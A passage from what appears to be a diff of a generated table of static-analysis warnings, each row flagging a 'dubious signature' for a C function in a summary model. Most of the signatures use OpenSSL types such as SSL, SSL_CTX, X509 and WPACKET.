OSSL_PARAM[],OSSL_LIB_CTX *)" in summary model. | +| Dubious signature "(RSA_PSS_PARAMS_30 *,int)" in summary model. | +| Dubious signature "(SCRYPT_PARAMS *)" in summary model. | +| Dubious signature "(SCRYPT_PARAMS **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SCT **,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(SCT *,const unsigned char **,size_t)" in summary model. | +| Dubious signature "(SCT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SCT *,ct_log_entry_type_t)" in summary model. | +| Dubious signature "(SCT *,sct_source_t)" in summary model. | +| Dubious signature "(SCT *,sct_version_t)" in summary model. | +| Dubious signature "(SCT *,uint64_t)" in summary model. | +| Dubious signature "(SCT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SCT_CTX *,X509 *,X509 *)" in summary model. | +| Dubious signature "(SCT_CTX *,X509_PUBKEY *)" in summary model. | +| Dubious signature "(SCT_CTX *,uint64_t)" in summary model. | +| Dubious signature "(SFRAME_LIST *)" in summary model. | +| Dubious signature "(SFRAME_LIST *,UINT_RANGE *,OSSL_QRX_PKT *,const unsigned char *,int)" in summary model. | +| Dubious signature "(SFRAME_LIST *,UINT_RANGE *,const unsigned char **,int *)" in summary model. | +| Dubious signature "(SFRAME_LIST *,sframe_list_write_at_cb *,void *)" in summary model. | +| Dubious signature "(SFRAME_LIST *,uint64_t)" in summary model. | +| Dubious signature "(SHA256_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SHA512_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SHA_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SHA_CTX *,int,int,void *)" in summary model. | +| Dubious signature "(SIPHASH *)" in summary model. | +| Dubious signature "(SIPHASH *,const unsigned char *,int,int)" in summary model. | +| Dubious signature "(SIPHASH *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIPHASH *,size_t)" in summary model. | +| Dubious signature "(SIPHASH *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,SIV128_CONTEXT *)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,const unsigned char *,int,const EVP_CIPHER *,const EVP_CIPHER *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,const unsigned char *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SIV128_CONTEXT *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,const uint8_t *,int,unsigned char *,size_t *,size_t)" in summary model. | +| Dubious signature "(SLH_DSA_HASH_CTX *,const uint8_t *,size_t,const uint8_t *,size_t,int,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(SLH_DSA_KEY *,const OSSL_PARAM *,const OSSL_PARAM[],int)" in summary model. | +| Dubious signature "(SLH_DSA_KEY *,const uint8_t *,size_t)" in summary model. | +| Dubious signature "(SM2_Ciphertext *)" in summary model. | +| Dubious signature "(SM2_Ciphertext **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SM3_CTX *,const unsigned char *)" in summary model. | +| Dubious signature "(SM3_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(SRP_VBASE *,SRP_user_pwd *)" in summary model. | +| Dubious signature "(SRP_VBASE *,char *)" in summary model. | +| Dubious signature "(SRP_user_pwd *,BIGNUM *,BIGNUM *)" in summary model. | +| Dubious signature "(SRP_user_pwd *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(SRP_user_pwd *,const char *,const char *)" in summary model. | +| Dubious signature "(SSL *)" in summary model. | +| Dubious signature "(SSL *,..(*)(..))" in summary model. | +| Dubious signature "(SSL *,..(*)(..),void *)" in summary model. | +| Dubious signature "(SSL *,BIO *)" in summary model. | +| Dubious signature "(SSL *,BIO *,BIO *)" in summary model. | +| Dubious signature "(SSL *,DTLS_timer_cb)" in summary model. | +| Dubious signature "(SSL *,EVP_PKEY *)" in summary model. | +| Dubious signature "(SSL *,GEN_SESSION_CB)" in summary model. | +| Dubious signature "(SSL *,SSL_CTX *)" in summary model. | +| Dubious signature "(SSL *,SSL_CTX *,const SSL_METHOD *,int)" in summary model. | +| Dubious signature "(SSL *,SSL_SESSION *)" in summary model. | +| Dubious signature "(SSL *,SSL_allow_early_data_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL *,SSL_async_callback_fn)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_client_cb_func)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_find_session_cb_func)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_server_cb_func)" in summary model. | +| Dubious signature "(SSL *,SSL_psk_use_session_cb_func)" in summary model. | +| Dubious signature "(SSL *,X509 *)" in summary model. | +| Dubious signature "(SSL *,X509 **,EVP_PKEY **)" in summary model. | +| Dubious signature "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *)" in summary model. | +| Dubious signature "(SSL *,X509 *,EVP_PKEY *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(SSL *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(SSL *,const BIGNUM *,const BIGNUM *,BIGNUM *,BIGNUM *,char *)" in summary model. | +| Dubious signature "(SSL *,const OSSL_DISPATCH *,void *)" in summary model. | +| Dubious signature "(SSL *,const SSL *)" in summary model. | +| Dubious signature "(SSL *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(SSL *,const char *)" in summary model. | +| Dubious signature "(SSL *,const unsigned char **)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,int)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,long)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,size_t,const BIO_ADDR *,const BIO_ADDR *)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,size_t,int,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **)" in summary model. | +| Dubious signature "(SSL *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(SSL *,const void *,int)" in summary model. | +| Dubious signature "(SSL *,const void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL *,const void *,size_t,uint64_t,size_t *)" in summary model. | +| Dubious signature "(SSL *,int *)" in summary model. | +| Dubious signature "(SSL *,int *,size_t *)" in summary model. | +| Dubious signature "(SSL *,int *,size_t *,int *,size_t *)" in summary model. | +| Dubious signature "(SSL *,int)" in summary model. | +| Dubious signature "(SSL *,int,..(*)(..))" in summary model. | +| Dubious signature "(SSL *,int,..(*)(..),SSL_verify_cb)" in summary model. | +| Dubious signature "(SSL *,int,int *,int *,int *,unsigned char *,unsigned char *)" in summary model. | +| Dubious signature "(SSL *,int,long,void *)" in summary model. | +| Dubious signature "(SSL *,int,long,void *,int)" in summary model. | +| Dubious signature "(SSL *,long)" in summary model. | +| Dubious signature "(SSL *,ossl_statem_mutate_handshake_cb,ossl_statem_finish_mutate_handshake_cb,void *)" in summary model. | +| Dubious signature "(SSL *,pem_password_cb *)" in summary model. | +| Dubious signature "(SSL *,size_t)" in summary model. | +| Dubious signature "(SSL *,size_t,size_t)" in summary model. | +| Dubious signature "(SSL *,ssl_ct_validation_cb,void *)" in summary model. | +| Dubious signature "(SSL *,stack_st_X509_NAME *)" in summary model. | +| Dubious signature "(SSL *,tls_session_secret_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL *,tls_session_ticket_ext_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL *,uint8_t *,uint8_t *,uint8_t *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint8_t)" in summary model. | +| Dubious signature "(SSL *,uint8_t,const void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL *,uint16_t *,size_t *)" in summary model. | +| Dubious signature "(SSL *,uint32_t)" in summary model. | +| Dubious signature "(SSL *,uint64_t)" in summary model. | +| Dubious signature "(SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t)" in summary model. | +| Dubious signature "(SSL *,unsigned int)" in summary model. | +| Dubious signature "(SSL *,unsigned long)" in summary model. | +| Dubious signature "(SSL *,void *)" in summary model. | +| Dubious signature "(SSL *,void *,int)" in summary model. | +| Dubious signature "(SSL *,void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CIPHER *,const SSL_CIPHER *,int)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,SSL *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,SSL_CTX *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,const char *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,const char *,const char *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,int *,char ***)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *)" in summary model. | +| Dubious signature "(SSL_CONF_CTX *,unsigned int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,CLIENTHELLO_MSG *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,EVP_PKEY *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,EVP_PKEY **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,SSL_CTX *,X509 *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,SSL_CTX *,X509 *,int,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,SSL_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,TLSEXT_INDEX,int,RAW_EXTENSION *,X509 *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,TLS_RECORD *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *,CERT_PKEY *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,WPACKET *,unsigned int,X509 *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,X509 *,EVP_PKEY *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const OSSL_RECORD_METHOD *,void *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const size_t **,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const stack_st_X509_NAME *,WPACKET *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const uint16_t **,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const unsigned char **,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,const unsigned char *,size_t,const unsigned char *,size_t,SSL_SESSION **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,RAW_EXTENSION *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,RAW_EXTENSION *,X509 *,size_t,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,const uint16_t **)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,int,char *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,int,const char *,...)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,int,unsigned char *,size_t,DOWNGRADE)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,stack_st_X509 *,X509 *,int)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned char **,const void *,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned char *,unsigned char *,size_t,size_t *)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned char,size_t,size_t,size_t)" in summary model. | +| Dubious signature "(SSL_CONNECTION *,unsigned long)" in summary model. | +| Dubious signature "(SSL_CTX *)" in summary model. | +| Dubious signature "(SSL_CTX *,..(*)(..))" in summary model. | +| Dubious signature "(SSL_CTX *,..(*)(..),void *)" in summary model. | +| Dubious signature "(SSL_CTX *,CTLOG_STORE *)" in summary model. | +| Dubious signature "(SSL_CTX *,ENGINE *)" in summary model. | +| Dubious signature "(SSL_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(SSL_CTX *,GEN_SESSION_CB)" in summary model. | +| Dubious signature "(SSL_CTX *,SRP_ARG *,int,int,int)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_alpn_select_cb_func,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_generate_session_ticket_fn,SSL_CTX_decrypt_session_ticket_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_keylog_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_npn_advertised_cb_func,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_CTX_npn_select_cb_func,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_EXCERT *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_SESSION *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_allow_early_data_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_async_callback_fn)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_client_hello_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_new_pending_conn_cb_fn,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_client_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_find_session_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_server_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,SSL_psk_use_session_cb_func)" in summary model. | +| Dubious signature "(SSL_CTX *,X509 *)" in summary model. | +| Dubious signature "(SSL_CTX *,X509 *,EVP_PKEY *,stack_st_X509 *,int)" in summary model. | +| Dubious signature "(SSL_CTX *,X509_STORE *)" in summary model. | +| Dubious signature "(SSL_CTX *,X509_VERIFY_PARAM *)" in summary model. | +| Dubious signature "(SSL_CTX *,char *)" in summary model. | +| Dubious signature "(SSL_CTX *,char *,char *)" in summary model. | +| Dubious signature "(SSL_CTX *,const EVP_MD *,uint8_t,uint8_t)" in summary model. | +| Dubious signature "(SSL_CTX *,const SIGALG_LOOKUP *,const EVP_MD **)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_CIPHER *,const EVP_CIPHER **)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_CIPHER *,const EVP_MD **,int *,size_t *)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_METHOD *)" in summary model. | +| Dubious signature "(SSL_CTX *,const SSL_SESSION *,const EVP_CIPHER **,const EVP_MD **,int *,size_t *,SSL_COMP **,int)" in summary model. | +| Dubious signature "(SSL_CTX *,const char *)" in summary model. | +| Dubious signature "(SSL_CTX *,const unsigned char *,long)" in summary model. | +| Dubious signature "(SSL_CTX *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL_CTX *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(SSL_CTX *,custom_ext_methods *,ENDPOINT,unsigned int,unsigned int,SSL_custom_ext_add_cb_ex,SSL_custom_ext_free_cb_ex,void *,SSL_custom_ext_parse_cb_ex,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,int)" in summary model. | +| Dubious signature "(SSL_CTX *,int,..(*)(..))" in summary model. | +| Dubious signature "(SSL_CTX *,int,..(*)(..),SSL_verify_cb)" in summary model. | +| Dubious signature "(SSL_CTX *,int,const unsigned char *)" in summary model. | +| Dubious signature "(SSL_CTX *,int,long,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,long)" in summary model. | +| Dubious signature "(SSL_CTX *,pem_password_cb *)" in summary model. | +| Dubious signature "(SSL_CTX *,size_t)" in summary model. | +| Dubious signature "(SSL_CTX *,size_t,size_t)" in summary model. | +| Dubious signature "(SSL_CTX *,srpsrvparm *,char *,char *)" in summary model. | +| Dubious signature "(SSL_CTX *,ssl_ct_validation_cb,void *)" in summary model. | +| Dubious signature "(SSL_CTX *,stack_st_SSL_CIPHER *,stack_st_SSL_CIPHER **,stack_st_SSL_CIPHER **,const char *,CERT *)" in summary model. | +| Dubious signature "(SSL_CTX *,stack_st_X509_NAME *)" in summary model. | +| Dubious signature "(SSL_CTX *,uint8_t)" in summary model. | +| Dubious signature "(SSL_CTX *,uint16_t **,size_t *,uint16_t **,size_t *,size_t **,size_t *,const char *)" in summary model. | +| Dubious signature "(SSL_CTX *,uint16_t)" in summary model. | +| Dubious signature "(SSL_CTX *,uint32_t)" in summary model. | +| Dubious signature "(SSL_CTX *,uint64_t)" in summary model. | +| Dubious signature "(SSL_CTX *,unsigned long)" in summary model. | +| Dubious signature "(SSL_CTX *,void *)" in summary model. | +| Dubious signature "(SSL_EXCERT **)" in summary model. | +| Dubious signature "(SSL_HMAC *)" in summary model. | +| Dubious signature "(SSL_HMAC *,void *,size_t,char *)" in summary model. | +| Dubious signature "(SSL_POLL_ITEM *,size_t,size_t,const timeval *,uint64_t,size_t *)" in summary model. | +| Dubious signature "(SSL_SESSION *)" in summary model. | +| Dubious signature "(SSL_SESSION **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SSL_SESSION **,const unsigned char **,long,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(SSL_SESSION *,const SSL_CIPHER *)" in summary model. | +| Dubious signature "(SSL_SESSION *,const char *)" in summary model. | +| Dubious signature "(SSL_SESSION *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,const unsigned char *,unsigned int)" in summary model. | +| Dubious signature "(SSL_SESSION *,const void *,size_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,int)" in summary model. | +| Dubious signature "(SSL_SESSION *,long)" in summary model. | +| Dubious signature "(SSL_SESSION *,time_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,uint32_t)" in summary model. | +| Dubious signature "(SSL_SESSION *,void **,size_t *)" in summary model. | +| Dubious signature "(SXNET *)" in summary model. | +| Dubious signature "(SXNET **,ASN1_INTEGER *,const char *,int)" in summary model. | +| Dubious signature "(SXNET **,const char *,const char *,int)" in summary model. | +| Dubious signature "(SXNET **,const unsigned char **,long)" in summary model. | +| Dubious signature "(SXNET **,unsigned long,const char *,int)" in summary model. | +| Dubious signature "(SXNETID *)" in summary model. | +| Dubious signature "(SXNETID **,const unsigned char **,long)" in summary model. | +| Dubious signature "(StrAccum *,sqlite3_str *,const char *,...)" in summary model. | +| Dubious signature "(TLS_FEATURE *)" in summary model. | +| Dubious signature "(TLS_RL_RECORD *,const unsigned char *)" in summary model. | +| Dubious signature "(TS_ACCURACY *)" in summary model. | +| Dubious signature "(TS_ACCURACY **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_ACCURACY *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT *,X509_ALGOR *)" in summary model. | +| Dubious signature "(TS_MSG_IMPRINT *,unsigned char *,int)" in summary model. | +| Dubious signature "(TS_REQ *)" in summary model. | +| Dubious signature "(TS_REQ **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_REQ *,TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(TS_REQ *,TS_VERIFY_CTX *)" in summary model. | +| Dubious signature "(TS_REQ *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(TS_REQ *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(TS_REQ *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(TS_REQ *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(TS_REQ *,int)" in summary model. | +| Dubious signature "(TS_REQ *,int,int *,int *)" in summary model. | +| Dubious signature "(TS_REQ *,int,int)" in summary model. | +| Dubious signature "(TS_REQ *,long)" in summary model. | +| Dubious signature "(TS_RESP *)" in summary model. | +| Dubious signature "(TS_RESP **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_RESP *,PKCS7 *,TS_TST_INFO *)" in summary model. | +| Dubious signature "(TS_RESP *,TS_STATUS_INFO *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,BIO *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,EVP_PKEY *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,TS_extension_cb,void *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,TS_serial_cb,void *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,TS_time_cb,void *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,X509 *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,const ASN1_OBJECT *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,const EVP_MD *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,int)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,int,int,int)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(TS_RESP_CTX *,unsigned int)" in summary model. | +| Dubious signature "(TS_STATUS_INFO *)" in summary model. | +| Dubious signature "(TS_STATUS_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_STATUS_INFO *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *)" in summary model. | +| Dubious signature "(TS_TST_INFO **,const unsigned char **,long)" in summary model. | +| Dubious signature "(TS_TST_INFO *,ASN1_OBJECT *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,GENERAL_NAME *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,TS_ACCURACY *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,TS_MSG_IMPRINT *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,const ASN1_GENERALIZEDTIME *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,const ASN1_INTEGER *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,const ASN1_OBJECT *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,int,int *,int *)" in summary model. | +| Dubious signature "(TS_TST_INFO *,int,int)" in summary model. | +| Dubious signature "(TS_TST_INFO *,long)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,BIO *)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,X509_STORE *)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,int)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,stack_st_X509 *)" in summary model. | +| Dubious signature "(TS_VERIFY_CTX *,unsigned char *,long)" in summary model. | +| Dubious signature "(TXT_DB *,OPENSSL_STRING *)" in summary model. | +| Dubious signature "(TXT_DB *,int,..(*)(..),OPENSSL_LH_HASHFUNC,OPENSSL_LH_COMPFUNC)" in summary model. | +| Dubious signature "(UI *)" in summary model. | +| Dubious signature "(UI *,UI_STRING *,const char *)" in summary model. | +| Dubious signature "(UI *,UI_STRING *,const char *,int)" in summary model. | +| Dubious signature "(UI *,const UI_METHOD *)" in summary model. | +| Dubious signature "(UI *,const char *)" in summary model. | +| Dubious signature "(UI *,const char *,const char *)" in summary model. | +| Dubious signature "(UI *,const char *,const char *,const char *,const char *,int,char *)" in summary model. | +| Dubious signature "(UI *,const char *,int,char *,int,int)" in summary model. | +| Dubious signature "(UI *,const char *,int,char *,int,int,const char *)" in summary model. | +| Dubious signature "(UI *,void *)" in summary model. | +| Dubious signature "(UI_METHOD *,..(*)(..))" in summary model. | +| Dubious signature "(UI_METHOD *,..(*)(..),..(*)(..))" in summary model. | +| Dubious signature "(UI_STRING *)" in summary model. | +| Dubious signature "(USERNOTICE *)" in summary model. | +| Dubious signature "(USERNOTICE **,const unsigned char **,long)" in summary model. | +| Dubious signature "(WHIRLPOOL_CTX *,const void *,size_t)" in summary model. | +| Dubious signature "(WPACKET *)" in summary model. | +| Dubious signature "(WPACKET *,BUF_MEM *)" in summary model. | +| Dubious signature "(WPACKET *,BUF_MEM *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,const BIGNUM *)" in summary model. | +| Dubious signature "(WPACKET *,const BIGNUM *,const BIGNUM *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_CONN_CLOSE *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_CRYPTO *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_NEW_CONN_ID *)" in summary model. | +| Dubious signature "(WPACKET *,const OSSL_QUIC_FRAME_STREAM *)" in summary model. | +| Dubious signature "(WPACKET *,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,const void *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,const void *,size_t,size_t)" in summary model. | +| Dubious signature "(WPACKET *,int)" in summary model. | +| Dubious signature "(WPACKET *,int,const BIGNUM *)" in summary model. | +| Dubious signature "(WPACKET *,int,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,int,size_t)" in summary model. | +| Dubious signature "(WPACKET *,size_t *)" in summary model. | +| Dubious signature "(WPACKET *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,size_t,const QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *)" in summary model. | +| Dubious signature "(WPACKET *,size_t,unsigned char **)" in summary model. | +| Dubious signature "(WPACKET *,size_t,unsigned char **,size_t)" in summary model. | +| Dubious signature "(WPACKET *,uint64_t,const QUIC_CONN_ID *)" in summary model. | +| Dubious signature "(WPACKET *,uint64_t,const unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,uint64_t,size_t)" in summary model. | +| Dubious signature "(WPACKET *,unsigned char *,size_t)" in summary model. | +| Dubious signature "(WPACKET *,unsigned char *,size_t,size_t)" in summary model. | +| Dubious signature "(WPACKET *,unsigned int)" in summary model. | +| Dubious signature "(X9_62_CHARACTERISTIC_TWO *)" in summary model. | +| Dubious signature "(X9_62_PENTANOMIAL *)" in summary model. | +| Dubious signature "(X509 *)" in summary model. | +| Dubious signature "(X509 **,X509_STORE_CTX *,X509 *)" in summary model. | +| Dubious signature "(X509 **,const unsigned char **,long)" in summary model. | +| Dubious signature "(X509 *,ASN1_OCTET_STRING *)" in summary model. | +| Dubious signature "(X509 *,EVP_MD_CTX *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,const EVP_MD *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int)" in summary model. | +| Dubious signature "(X509 *,EVP_PKEY *,stack_st_X509 *,BIO *,unsigned int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,SSL_CONNECTION *)" in summary model. | +| Dubious signature "(X509 *,X509 *)" in summary model. | +| Dubious signature "(X509 *,X509_EXTENSION *,int)" in summary model. | +| Dubious signature "(X509 *,const X509_NAME *)" in summary model. | +| Dubious signature "(X509 *,const char *)" in summary model. | +| Dubious signature "(X509 *,const char *,size_t,unsigned int,char **)" in summary model. | +| Dubious signature "(X509 *,int *,int *,int *,uint32_t *)" in summary model. | +| Dubious signature "(X509 *,int)" in summary model. | +| Dubious signature "(X509 *,int,int)" in summary model. | +| Dubious signature "(X509 *,int,void *,int,unsigned long)" in summary model. | +| Dubious signature "(X509 *,long)" in summary model. | +| Dubious signature "(X509 *,stack_st_X509 *,X509_STORE *,int,OSSL_LIB_CTX *,const char *)" in summary model. | +| Dubious signature "(X509 *,unsigned char **)" in summary model. | +| Dubious 